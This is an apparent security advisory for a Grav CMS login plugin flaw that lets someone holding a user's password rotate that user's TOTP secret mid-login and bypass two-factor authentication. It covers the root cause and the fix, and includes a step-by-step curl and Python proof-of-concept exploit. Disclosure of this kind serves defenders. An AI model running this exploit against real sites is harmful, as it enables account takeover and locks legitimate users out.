CVE-2026-62669: Grav CMS 2FA Bypass via Unauthenticated Secret Rotation
Grav CMS lets an attacker who knows a victim's password silently rotate their TOTP secret during login, compute a valid code from the new secret, and log in as that user, completely bypassing…

The problem
In Grav login plugin v3.8.10, after a user submits valid credentials the session user object is populated before TOTP verification completes. This creates a pending-challenge window where the user exists in session but is not yet authorized.
During this window, the taskRegenerate2FASecret handler checks only $user->exists(), not $user->authorized. No CSRF nonce is required either. An attacker who triggered the password login can immediately call the task endpoint, overwrite the victim's twofa_secret on disk via $user->save(), receive the new secret in the JSON response, generate a valid TOTP code from it, and complete the 2FA challenge.
The victim's real TOTP secret is permanently destroyed, locking them out of their own account.
Proof of concept
A working proof-of-concept for CVE-2026-62669 in getgrav/grav, with the exact payload below.
# Step 1: Password-only login; keep the session cookie in 2fa.jar
LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://target/grav/login")
NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+')
curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \
"http://target/grav/login" \
-d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"
# Step 2: Rotate the victim's 2FA secret (no nonce, no authorization check)
curl -s -b /tmp/2fa.jar \
"http://target/grav/login/task:login.regenerate2FASecret"
# Response: {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
# Step 3: Derive a valid TOTP from the attacker-controlled secret
python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
# 152656
# Step 4: Complete 2FA with the attacker's code
curl -s -L -b /tmp/2fa.jar -X POST "http://target/grav/login" \
-d "task=login.twofa&2fa_code=152656"
# Step 5: Confirm full session as victim
curl -s -b /tmp/2fa.jar "http://target/grav/" | grep -o 'Logout'
# LogoutThe root cause is a missing authorization gate in Controller.php. The taskRegenerate2FASecret method called $user->exists() instead of $user->authorized, and the task dispatcher did not require a CSRF nonce for this route. Both conditions together make the attack a single unauthenticated GET request on an active pending-challenge session.
The patch in grav-plugin-login v3.8.11 (commit 5d1b722298cb947d8f434025d121b99152a2c630) adds an $user->authorized check at the top of the task handler and requires a valid nonce, so callers who have not completed TOTP verification are rejected before the secret can be overwritten.
CWE-862 (Missing Authorization) and the absent CSRF control are the two precise defects addressed.
The fix
Upgrade getgrav/grav to 2.0.4 and ensure the bundled login plugin is v3.8.11 or later. The plugin update is the critical fix; the taskRegenerate2FASecret handler now requires both $user->authorized and a valid CSRF nonce before touching the TOTP secret.
Reported by nicl4ssic.
Related research
- highCVE-2026-64850CVE-2026-64850: Grav CMS Remote Code Execution via Unrestricted Callable in Blueprint::dynamicData()
- highCVE-2026-62673CVE-2026-62673: Grav .htaccess File Extension Filter Case-Sensitivity Bypass
- highCVE-2026-53653CVE-2026-53653: Grav Unauthenticated DoS via Unbounded Image Resize Dimensions
- high · 8.1CVE-2026-64665CVE-2026-64665: Statamic CMS OAuth Account Takeover via Unverified Email Matching